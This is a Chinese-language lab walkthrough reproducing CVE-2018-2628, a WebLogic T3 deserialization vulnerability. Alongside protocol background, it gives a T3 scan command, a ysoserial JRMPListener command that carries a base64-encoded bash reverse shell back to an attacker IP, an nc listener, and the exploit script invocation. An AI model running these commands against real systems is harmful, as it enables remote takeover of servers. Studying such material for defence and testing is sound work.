开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。
T3协议缺陷实现了Java虚拟机的远程方法调用(RMI),能够在本地虚拟机上调用远端代码。
T3协议:
用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度。
RMI:
远程方法调用,除了该对象本身的虚拟机,其它的虚拟机也可以调用该对象的方法。(对象的虚拟化和反序列化广泛应用到RMI和网络传输中)
JRMP:
Java远程消息交换协议JRMP
(当前官网最新版本对比,标红为漏洞影响版本,日期:200610)
》》进入到如下目录下启动Weblogic 10.3.6.0
》》访问Weblogic web管理控制台
》》Nmap扫描目标IP端口,查看是否使用weblogic
》》使用Nmap的NSE脚本查看对方是否开启T3协议,查看到目标站点开启了T3协议(这里建议使用命令行操作,别问我为什么知道的)
nmap -n -v -p 7001,7002 --script=weblogic-t3-info
》》使用Weblogic漏洞检测poc探测是否存在该漏洞
》》攻击者使用ysoserial启动一个JMRP Server
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 19111 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4xOTIvMTkxMTAgMD4mMQ==}|{base64,-d}|{bash,-i}"
(JMRP Server在19111端口上监听请求,向目标服务器发送序列化的bash反弹shell命令,反弹监听的端口为19110)
Tips1:ysoserial命令格式:
ysoserial.jar [payload] “[command]”
参数 释义 port JRMP Server监听的端口 payload_type 根据目标jdk版本选择CommonsCollections利用库 payload_arg 需要执行的命令 Tips2:
这里使用bash反弹shell,由于Runtime.getRuntime().exec()中不能使用重定向和管道符,这里需要对其进行base64编码再使用
》》nc监听19110端口
》》使用CVE-2018-2628的 EXP 向目标WebLogic服务器发送攻击载荷(payload)
python exp_CVE-2018-2628.py 192.168.159.129 7001 ysoserial.jar 192.168.123.192 19111 JRMPClient
参数 释义 victim ip 受害者IP victim port 受害者端口,7001 path to ysoserial 本地ysoserial路径 JRMPListener ip 启用ysoserial的IP JRMPClient 执行JRMPClient的类(JRMPClient / JRMPClient2)
整个操作过程中的核心攻击过程是:
EXP和目标服务器建立T3连接,目标服务器weblogic上的JVM虚拟机远程调用了监听程序中的方法执行序列化操作,将流量反弹到nc上